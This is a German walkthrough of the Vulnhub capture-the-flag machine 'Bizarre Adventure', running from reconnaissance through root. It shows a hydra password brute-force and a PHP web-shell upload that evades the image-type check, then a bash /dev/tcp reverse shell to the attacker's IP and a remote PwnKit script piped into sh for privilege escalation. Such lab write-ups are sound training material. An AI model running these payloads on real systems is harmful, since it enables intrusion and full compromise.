Bizarre Adventure - Mrr3b0t - Vulnhub - Level: Medium - Bericht

Medium

Verwendete Tools

nmap
nikto
gobuster
curl
hydra
Burpsuite
wget
nc

Inhaltsverzeichnis

Reconnaissance

In der Reconnaissance-Phase sammeln wir Informationen über das Zielsystem. Wir beginnen mit der Identifizierung von Hosts im Netzwerk und der Analyse offener Ports und Dienste, um potenzielle Angriffsflächen zu identifizieren.

Dieser Schritt ist entscheidend, um ein umfassendes Bild der Systemarchitektur und der laufenden Anwendungen zu erhalten, was die Grundlage für spätere Schritte bildet.

ARP-Scan

192.168.2.110 08:00:27:a0:9c:22 PCS Systemtechnik GmbH

Hier führen wir einen ARP-Scan durch, um aktive Hosts im Netzwerk zu entdecken. Das Ergebnis zeigt, dass die IP-Adresse 192.168.2.110 der MAC-Adresse 08:00:27:a0:9c:22 zugeordnet ist, was auf ein Gerät von PCS Systemtechnik GmbH hinweist.

/etc/hosts
192.168.2.110 bizarMrRobot.vln

IPv6 Adresse: fe80::a00:27ff:fea0:9c22%eth0:

Die Datei /etc/hosts zeigt, dass die IP-Adresse 192.168.2.110 dem Hostnamen "bizarMrRobot.vln" zugeordnet ist. Zusätzlich wird die IPv6-Adresse des Systems angezeigt.

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-08 21:45 CEST
Nmap scan report for mrr3b0t (fe80::a00:27ff:fea0:9c22)
Host is up (0.00012s latency).
Not shown: 65531 closed tcp ports (reset)
PRT STATE SERVICE
22/tcp open ssh
53/tcp open domain
80/tcp open http
5355/tcp open llmnr MAC Address: 08:00:27:A0:9C:22 (racle VirtualBox virtual NIC)

Wir führen einen Nmap-Scan durch, um offene Ports und Dienste zu identifizieren. Die Ausgabe zeigt, dass die Ports 22 (SSH), 53 (DNS), 80 (HTTP) und 5355 (LLMNR) offen sind.

Die MAC-Adresse deutet erneut auf eine virtuelle Maschine von racle VirtualBox hin.

┌──(root㉿CCat)-[~]
└─# nmap -sS -sC -sV -A -p- $IP -Pn --min-rate 5000 | grep open
22/tcp open ssh penSSH 7.4p1 Ubuntu 10 (Ubuntu Linux; protocol 2.0)
53/tcp open domain ISC BIND 9.10.3-P4 (Ubuntu Linux)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
5355/tcp open llmnr?

Dieser Nmap-Scan liefert detailliertere Informationen zu den offenen Ports. Wir erfahren, dass es sich um einen SSH-Server (penSSH 7.4p1), einen DNS-Server (ISC BIND 9.10.3-P4) und einen Webserver (Apache httpd 2.4.29) handelt.

┌──(root㉿CCat)-[~]
└─# nmap -sS -sC -sV -A -p- $IP -Pn --min-rate 5000
5355/tcp open llmnr?

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-08 21:47 CEST
Nmap scan report for bizarMrRobot.vln (192.168.2.110)
Host is up (0.0020s latency).
Not shown: 65531 closed tcp ports (reset)
PRT STATE SERVICE VERSIN
22/tcp open ssh penSSH 7.4p1 Ubuntu 10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 98:b7:f5:6b:0d:58:1d:7b:58:7d:1a:99:fb:b1:8f:04 (RSA)
| 256 66:b4:4b:40:e6:c9:76:93:31:aa:fc:ff:9a:40:a9:f9 (ECDSA)
|_ 256 55:c6:b2:01:0f:16:1c:68:96:e2:bb:b1:fe:ff:59:c2 (ED25519)
53/tcp open domain ISC BIND 9.10.3-P4 (Ubuntu Linux)
| dns-nsid:
|_ bind.version: 9.10.3-P4-Ubuntu
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Eskwela Template
|_http-server-header: Apache/2.4.29 (Ubuntu)
5355/tcp open llmnr?
MAC Address: 08:00:27:A0:9C:22 (racle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X
S CPE: cpe:/o:linux:linux_kernel:4.10
S details: Linux 4.10
Network Distance: 1 hop
Service Info: S: Linux; CPE: cpe:/o:linux:linux_kernel

TRACERUTE
HP RTT ADDRESS
1 1.99 ms bizarMrRobot.vln (192.168.2.110)

S and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 159.05 seconds

Dieser umfassende Nmap-Scan liefert noch mehr Details, einschließlich SSH-Hostkeys, der BIND-Version, des HTTP-Titels ("Eskwela Template") und des Betriebssystems (Linux 4.10).

HTTP-Header Verbose Scan mit Port-Scan
┌──(root㉿CCat)-[~]
└─# curl --verbose -I http://$IP:8080 -s
Port gefunden! 80

* Host bizarMrRobot.vln:80 was resolved.
* IPv6: (none)
* IPv4: 192.168.2.110
* Trying 192.168.2.110:80...
* Connected to bizarMrRobot.vln (192.168.2.110) port 80
> HEAD / HTTP/1.1
> Host: bizarMrRobot.vln
> User-Agent: curl/8.9.1
> Accept: */*
>
< HTTP/1.1 200 OK
HTTP/1.1 200 OK
< Date: Tue, 08 ct 2024 19:50:51 GMT
Date: Tue, 08 ct 2024 19:50:51 GMT
< Server: Apache/2.4.29 (Ubuntu)
Server: Apache/2.4.29 (Ubuntu)
< Last-Modified: Sun, 29 Apr 2018 00:14:36 GMT
Last-Modified: Sun, 29 Apr 2018 00:14:36 GMT
< ETag: "7ef9-56af19f4f7300"
ETag: "7ef9-56af19f4f7300"
< Accept-Ranges: bytes
Accept-Ranges: bytes
< Content-Length: 32505
Content-Length: 32505
< Vary: Accept-Encoding
Vary: Accept-Encoding
< Content-Type: text/html
Content-Type: text/html
<
* Connection #0 to host bizarMrRobot.vln left intact

Wir verwenden curl, um die HTTP-Header der Webseite abzurufen. Die Ausgabe zeigt den Server (Apache/2.4.29), die Content-Type (text/html) und andere Header-Informationen.

┌──(root㉿CCat)-[~]
└─# nslookup 192.168.2.110
;; Got recursion not available from fe80::1%2%2
110.2.168.192.in-addr.arpa name = mrr3b0t.

Authoritative answers can be found from:

nslookup wird verwendet, um den Hostnamen zur IP-Adresse aufzulösen. Das Ergebnis zeigt, dass die IP-Adresse 192.168.2.110 dem Hostnamen "mrr3b0t" zugeordnet ist.

┌──(root㉿CCat)-[~]
└─# dig arfx 192.168.2.110 @bizarMrRobot.vln
; <<>> DiG 9.20.0-Debian <<>> arfx 192.168.2.110 @bizarMrRobot.vln
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 44602
;; flags: qr rd ra ad; QUERY: 1, ANSWER: 0, AUTHRITY: 1, ADDITINAL: 1

;; PT PSEUDSECTIN:
; EDNS: version: 0, flags:; udp: 512
; EDE: 29: (Result synthesized from aggressive NSEC cache (RFC8198))
;; QUESTIN SECTIN:
;arfx. IN A

;; AUTHRITY SECTIN:
. 39305 IN SA a.root-servers.net. nstld.verisign-grs.com. 2024100801 1800 900 604800 86400

;; Query time: 11 msec
;; SERVER: fe80::1%2#53(fe80::1%2%2) (UDP)
;; WHEN: Tue ct 08 21:51:35 CEST 2024
;; MSG SIZE rcvd: 169

;; communications error to 192.168.2.110#53: timed out
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: SERVFAIL, id: 18981
;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHRITY: 0, ADDITINAL: 1

;; PT PSEUDSECTIN:
; EDNS: version: 0, flags:; udp: 4096
;; QUESTIN SECTIN:
;192.168.2.110. IN A

;; Query time: 4993 msec
;; SERVER: 192.168.2.110#53(bizarMrRobot.vln) (UDP)
;; WHEN: Tue ct 08 21:51:45 CEST 2024
;; MSG SIZE rcvd: 42

dig wird verwendet, um DNS-Informationen abzufragen. Die Ausgabe zeigt, dass die Anfrage nach "arfx" fehlschlägt (NXDOMAIN) und es Kommunikationsprobleme mit dem DNS-Server gibt.

┌──(root㉿CCat)-[~]
└─# gobuster dir -u "http://$IP" -w "/usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak,svg,pem,crt,json,conf,ELF,elf,c,java,lib,cgi,csh,config,deb,desc,exp,eps,diff,icon,mod,ln,old,rpm,js.map,pHtml -b '503,404,403' -e --no-error -k
http://192.168.2.110/index.html (Status: 200) [Size: 32505]
http://192.168.2.110/images (Status: 301) [Size: 315] [--> http://192.168.2.110/images/]
http://192.168.2.110/css (Status: 301) [Size: 312] [--> http://192.168.2.110/css/]
http://192.168.2.110/js (Status: 301) [Size: 311] [--> http://192.168.2.110/js/]
http://192.168.2.110/vendor (Status: 301) [Size: 315] [--> http://192.168.2.110/vendor/]
http://192.168.2.110/fonts (Status: 301) [Size: 314] [--> http://192.168.2.110/fonts/]
http://192.168.2.110/administrator (Status: 301) [Size: 322] [--> http://192.168.2.110/administrator/]

gobuster wird verwendet, um versteckte Verzeichnisse und Dateien auf dem Webserver zu finden. Die Ausgabe zeigt, dass die Verzeichnisse /images, /css, /js, /vendor, /fonts und /administrator gefunden wurden.

Besonders interessant ist das Verzeichnis /administrator, das auf eine Admin-Oberfläche hindeuten könnte.

┌──(root㉿CCat)-[~]
└─# host 192.168.2.110
110.2.168.192.in-addr.arpa domain name pointer mrr3b0t.

Der Befehl host bestätigt erneut, dass die IP-Adresse 192.168.2.110 dem Hostnamen "mrr3b0t" zugeordnet ist.

- Nikto v2.5.0

+ Target IP: 192.168.2.110
+ Target Hostname: 192.168.2.110
+ Target Port: 80
+ Start Time: 2024-10-08 21:50:42 (GMT2)

+ Server: Apache/2.4.29 (Ubuntu)
+ /: The anti-clickjacking X-Frame-ptions header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-ptions
+ /: The X-Content-Type-ptions header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ /: Server may leak inodes via ETags, header found with file /, inode: 7ef9, size: 56af19f4f7300, mtime: gzip. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418
+ Apache/2.4.29 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EL for the 2.x branch.
+ PTINS: Allowed HTTP Methods: GET, PST, PTINS, HEAD .
+ /administrator/: This might be interesting.
+ /css/: Directory indexing found.
+ /css/: This might be interesting.
+ /images/: Directory indexing found.
+ /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/
+ /administrator/index.php: Admin login page/section found.
+ 8102 requests: 0 error(s) and 11 item(s) reported on remote host
+ End Time: 2024-10-08 21:50:56 (GMT2) (14 seconds)

+ 1 host(s) tested

nikto identifiziert verschiedene potenzielle Schwachstellen, darunter fehlende Header für Clickjacking und Content-Type-ptinen, Directory Indexing und die mögliche Offenlegung von Inodes über ETags.

Besonders interessant sind der gefundene Admin-Login-Bereich unter /administrator/index.php und die Directory-Indexing-Schwachstelle unter /css/ und /images/.

┌──(root㉿CCat)-[~]
└─# nc -v 192.168.2.110 5355
bizarMrRobot.vln [192.168.2.110] 5355 (?) open
id
help
ls

Mit nc verbinden wir uns zum Port 5355. Die Ausgabe zeigt, dass der Port offen ist und wir Befehle wie "id", "help" und "ls" senden können. Dies deutet auf einen Dienst hin, der möglicherweise anfällig für Command Injection ist.

Initial Access

Nachdem wir die Reconnaissance abgeschlossen haben, versuchen wir, uns Zugriff auf das System zu verschaffen. Wir konzentrieren uns auf die identifizierten Schwachstellen, wie z.B. die Admin-Oberfläche und den potenziellen Command-Injection-Punkt.

view-source:http://192.168.2.110/administrator/
-- Find the responsible person hidden around, search each location -->

Der Quellcode der Admin-Seite enthält einen Hinweis, dass eine verantwortliche Person versteckt ist und wir jeden Ort durchsuchen sollen.

What Are The Students Says

Adam Ross
John Collins
Sophia Foster


ur Experienced Professor

Daniel Anderson -> Professor
livia Young -> Teacher
David Brook -> Teacher
Brigeth Smith -> Teacher
Noah Henderson -> rganisator
James Smith -> Posted

Auf der Webseite finden wir eine Liste von Studenten und Professoren. Der Hinweis "Noah Henderson -> rganisator" könnte ein Tippfehler sein und "Organisator" bedeuten.

Login Failed
username=admin&pass=Noah
/administrator/index.php
192.168.2.110

Ein fehlgeschlagener Login-Versuch mit dem Benutzernamen "admin" und dem Passwort "Noah" wird protokolliert. Dies deutet darauf hin, dass wir die Admin-Seite gefunden haben und ein Brute-Force-Angriff oder das Ausprobieren von Standardpasswörtern in Erwägung ziehen sollten.

http://bizarmrrobot.vln/vendor/countdowntime/

Der Pfad /vendor/countdowntime/ könnte auf eine verwendete Bibliothek oder ein Framework hinweisen. Dies könnte uns helfen, bekannte Schwachstellen in dieser Bibliothek zu finden.

Schrift Script
Google Font API
Sonstiges
pen Graph
Web Server
Apache HTTP Server 2.4.29
Betriebssysteme
Ubuntu
JavaScript Bibliotheken
jQuery 2.1.4
Modernizr 2.6.2
WL Carousel
UI Frameworks
Bootstrap 3.3.5

Diese Informationen geben uns einen Überblick über die verwendeten Technologien auf dem Webserver, wie z.B. Apache, Ubuntu, jQuery und Bootstrap. Dies hilft uns, gezielter nach Schwachstellen zu suchen.

http://bizarmrrobot.vln/images/
http://bizarmrrobot.vln/images/flag.txt.txt
Almost!

Did you notice something hidden?

Im Verzeichnis /images/ finden wir die Datei flag.txt.txt mit der Nachricht "Almost! Did you notice something hidden?". Dies deutet darauf hin, dass wir auf dem richtigen Weg sind, aber noch etwas übersehen.

┌──(pwn)─(root㉿CCat)-[~/Hackingtools/CVE-2021-41773]
└─# wget http://bizarmrrobot.vln/images/hidden.png
--2024-10-08 22:50:12-- http://bizarmrrobot.vln/images/hidden.png
Auflösen des Hostnamens bizarmrrobot.vln (bizarmrrobot.vln)… 192.168.2.110
Verbindungsaufbau zu bizarmrrobot.vln (bizarmrrobot.vln)|192.168.2.110|:80 … verbunden.
HTTP-Anforderung gesendet, auf Antwort wird gewartet … 200 OK
Länge: 93350 (91K) [image/png]
Wird in hidden.png gespeichert.

hidden.png 100%[=>] 91,16K --.-KB/s in 0s

2024-10-08 22:50:12 (268 MB/s) - hidden.png gespeichert [93350/93350]

Wir laden die Datei hidden.png herunter, um sie genauer zu analysieren.

https://stylesuxx.github.io/steganography/ -->> decode -->> hidden.png

Did you find the message? Take the Mrrobot user and break your password,
just don't think too much!

Die Nachricht deutet darauf hin, dass wir Steganographie verwenden sollen, um eine versteckte Nachricht in der Datei hidden.png zu finden. Die Nachricht sagt uns, dass wir den Benutzernamen "mrrobot" verwenden und sein Passwort knacken sollen.

┌──(pwn)─(root㉿CCat)-[~/Hackingtools/CVE-2021-41773]
└─# hydra -l mrrobot -P /usr/share/wordlists/rockyou.txt bizarMrRobot.vln http-post-form "/administrator/index.php:username=^USER^&pass=^PASS^:Login Failed" -t 64
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these * ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-10-08 22:59:44
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 64 tasks per 1 server, overall 64 tasks, 14344487 login tries (l:1/p:14344487), ~224133 tries per task
[DATA] attacking http-post-form://bizarMrRobot.vln:80/administrator/index.php:username=^USER^&pass=^PASS^:Login Failed

[80][http-post-form] host: bizarMrRobot.vln login: mrrobot password: secret

1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-10-08 22:59:56

Wir verwenden hydra, um das Passwort für den Benutzer "mrrobot" zu knacken. Der Angriff ist erfolgreich, und wir finden das Passwort "secret".

Privilege Escalation

Nachdem wir uns als Benutzer "mrrobot" angemeldet haben (vermutlich über SSH oder eine andere Schnittstelle, die noch nicht im Bericht aufgetaucht ist), versuchen wir, unsere Privilegien zu erhöhen.

http://192.168.2.110/administrator/FF4085AD157354DC8EA67A848E7C2270B4A19282713CF3A7ECF8E0FFBB159ED1.php

Upload what you want
Filename:

Wir finden eine Upload-Seite mit einem kryptischen Dateinamen. Dies deutet darauf hin, dass wir hier Dateien hochladen können.

Burpsuite
Request:

PST /administrator/FF4085AD157354DC8EA67A848E7C2270B4A19282713CF3A7ECF8E0FFBB159ED1.php
HTTP/1.1
Host: 192.168.2.110

--25422720443987480131921061135
Content-Disposition: form-data; name="file"; filename="rev.php"
Content-Type: application/x-php



--25422720443987480131921061135
Content-Disposition: form-data; name="submit"

Submit

Wir verwenden Burpsuite, um eine POST-Anfrage zu erstellen, die eine PHP-Datei (rev.php) mit dem Inhalt hochlädt. Dies ist eine einfache Web Shell, die es uns ermöglicht, beliebige Befehle auf dem Server auszuführen.

Response:

HTTP/1.1 200 OK
Date: Tue, 08 ct 2024 21:01:42 GMT
Server: Apache/2.4.29 (Ubuntu)
Vary: Accept-Encoding
Content-Length: 404
The image format must be jpg,jpeg,gif,png

Upload what you want

Die Antwort zeigt, dass der Upload fehlgeschlagen ist, da nur Bildformate erlaubt sind.

Request:

Content-Disposition: form-data; name="file"; filename="rev.php.jpg"
Content-Type: image/jpeg

GIF89a;

Wir versuchen es erneut, indem wir die Datei als "rev.php.jpg" umbenennen und einen GIF-Header hinzufügen, um die Dateitypüberprüfung zu umgehen.

Response:


Upload Success

Upload what you want

Der Upload ist erfolgreich!

Request:
PST /administrator/rev.php.jpg?cmd=id HTTP/1.1
Response:

Connection: Keep-Alive
Content-Type: image/jpeg

GIF89a;
Request:
PST /administrator/rev.png.php?cmd=id HTTP/1.1
Response:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
http://192.168.2.110/administrator/rev.png.php?cmd=id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Wir testen die Web Shell, indem wir den Befehl "id" ausführen. Die Ausgabe zeigt, dass der Code als Benutzer "www-data" ausgeführt wird.

┌──(pwn)─(root㉿CCat)-[~/Hackingtools/CVE-2021-41773]
└─# nc -lvnp 9001
listening on [any] 9001 ...
Payload = 192.168.2.110/administrator/rev.png.php?cmd=%2Fbin%2Fbash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.2.199%2F9001%200%3E%261%27
┌──(pwn)─(root㉿CCat)-[~/Hackingtools/CVE-2021-41773]
└─# nc -lvnp 9001
listening on [any] 9001 ...
connect to [192.168.2.199] from (UNKNWN) [192.168.2.110] 41468
bash: cannot set terminal process group (1348): Inappropriate ioctl for device
bash: no job control in this shell
www-data@mrr3b0t:/var/www/html/administrator$

Wir starten einen Netcat-Listener auf Port 9001 und verwenden die Web Shell, um eine Reverse Shell zu starten. Wir erhalten eine Shell als Benutzer "www-data".

www-data@mrr3b0t:/var/www/html/administrator$ ls -la
total 32
drwxrwxrwx 2 apache2 apache2 4096 ct 8 18:07 .
drwxr-xr-x 8 apache2 apache2 4096 Sep 16 2020 ..
-rw-rw-r-- 1 apache2 apache2 734 Sep 16 2020 FF4085AD157354DC8EA67A848E7C2270B4A19282713CF3A7ECF8E0FFBB159ED1.php
-rw-rw-r-- 1 apache2 apache2 5311 Sep 16 2020 index.php
-rw-r--r-- 1 www-data www-data 42 ct 8 18:05 rev.php
.jpg
-rw-r--r-- 1 www-data www-data 42 ct 8 18:03 rev.php.jpg
-rw-r--r-- 1 www-data www-data 42 ct 8 18:07 rev.png.php
Privilege Escalation
www-data@mrr3b0t:/var/www/html/administrator$ find / -type f -perm -4000 -ls 2>/dev/null
149353 40 -rwsr-xr-x 1 root root 38984 Mar 7 2017 /usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
402109 76 -rwsr-xr-x 1 root root 76168 Apr 6 2017 /usr/lib/snapd/snap-confine
149529 16 -rwsr-xr-x 1 root root 14328 ct 21 2016 /usr/lib/policykit-1/polkit-agent-helper-1
148761 432 -rwsr-xr-x 1 root root 440728 Mar 30 2017 /usr/lib/openssh/ssh-keysign
131590 44 -rwsr-xr-- 1 root messagebus 42992 ct 11 2016 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
131600 12 -rwsr-xr-x 1 root root 10232 Mar 28 2017 /usr/lib/eject/dmcrypt-get-device
131393 56 -rwsr-xr-x 1 root root 54256 Sep 20 2016 /usr/bin/passwd
148991 52 -rwsr-sr-x 1 daemon daemon 51464 Dec 22 2016 /usr/bin/at
149475 36 -rwsr-xr-x 1 root root 32944 Sep 20 2016 /usr/bin/newgidmap
131382 40 -rwsr-xr-x 1 root root 39904 Sep 20 2016 /usr/bin/newgrp
149476 36 -rwsr-xr-x 1 root root 32944 Sep 20 2016 /usr/bin/newuidmap
149526 24 -rwsr-xr-x 1 root root 22520 ct 21 2016 /usr/bin/pkexec
131479 140 -rwsr-xr-x 1 root root 140944 Jan 13 2017 /usr/bin/sudo
131228 72 -rwsr-xr-x 1 root root 71824 Sep 20 2016 /usr/bin/chfn
131300 76 -rwsr-xr-x 1 root root 75304 Sep 20 2016 /usr/bin/gpasswd
131230 40 -rwsr-xr-x 1 root root 40432 Sep 20 2016 /usr/bin/chsh
148699 20 -rwsr-xr-x 1 root root 18448 Mar 9 2017 /usr/bin/traceroute6.iputils
262218 64 -rwsr-xr-x 1 root root 64424 Mar 9 2017 /bin/ping
278115 32 -rwsr-xr-x 1 root root 30800 Aug 11 2016 /bin/fusermount
262255 32 -rwsr-xr-x 1 root root 30792 Nov 16 2016 /bin/umount
277305 144 -rwsr-xr-x 1 root root 146128 Feb 1 2017 /bin/ntfs-3g
262205 40 -rwsr-xr-x 1 root root 38984 Nov 16 2016 /bin/mount
262236 40 -rwsr-xr-x 1 root root 40128 Sep 20 2016 /bin/su

Wir suchen nach SUID-Binaries, die von Root ausführbar sind. Dies sind potenzielle Kandidaten für eine Privilegieneskalation.

www-data@mrr3b0t:/var/www/html/administrator$ cd /tmp/
www-data@mrr3b0t:/tmp$ sh -c "$(curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit.sh)"
root@mrr3b0t:/tmp# id
uid=0(root) gid=0(root) groups=0(root),33(www-data)
root@mrr3b0t:/tmp#

Wir laden PwnKit herunter und führen es aus, um die Privilegien zu erhöhen. Der Befehl "id" bestätigt, dass wir Root-Rechte erhalten haben!

Proof of Concept: Root-Zugriff über PwnKit

Dieser Proof of Concept demonstriert, wie wir mit Hilfe von PwnKit Root-Zugriff auf das System erlangen.

root@mrr3b0t:/home/exploiter# cd /root
root@mrr3b0t: ls
flag.txt.txt
root@mrr3b0t: cat flag.txt.txt
uuuuuuu
uu$$$$$$$$$$$uu
uu$$$$$$$$$$$$$$$$$uu
u$$$$$$$$$$$$$$$$$$$$$u
u$$$$$$$$$$$$$$$$$$$$$$$u
u$$$$$$$$$$$$$$$$$$$$$$$$$u
u$$$$$$$$$$$$$$$$$$$$$$$$$u
u$$$$$$" "$$$" "$$$$$$u
"$$$$" u$u $$$$"
$$$u u$u u$$$
$$$u u$$$u u$$$
"$$$$uu$$$ $$$uu$$$$"
"$$$$$$$" "$$$$$$$"
u$$$$$$$u$$$$$$$u
u$"$"$"$"$"$"$u
uuu $$u$ $ $ $ $u$$ uuu
u$$$$ $$$$$u$u$u$$$ u$$$$
$$$$$uu "$$$$$$$$$" uu$$$$$$
u$$$$$$$$$$$uu """"" uuuu$$$$$$$$$$
$$$$"""$$$$$$$$$$uuu uu$$$$$$$$$"""$$$"
""" ""$$$$$$$$$$$uu ""$"""
uuuu ""$$$$$$$$$$uuu
u$$$uuu$$$$$$$$$uu ""$$$$$$$$$$$uuu$$$
$$$$$$$$$$"""" ""$$$$$$$$$$$"
"$$$$$" ""$$$$""
$$$" $$$$"

FLAG{3LEV4T0R_P3NT3ST}

Created by Joas Antonio
Linkedin:https://bit.ly/3ki1WBE

Flags

user.txt
Almost!Did you notice something hidden?
root.txt
FLAG{3LEV4T0R_P3NT3ST}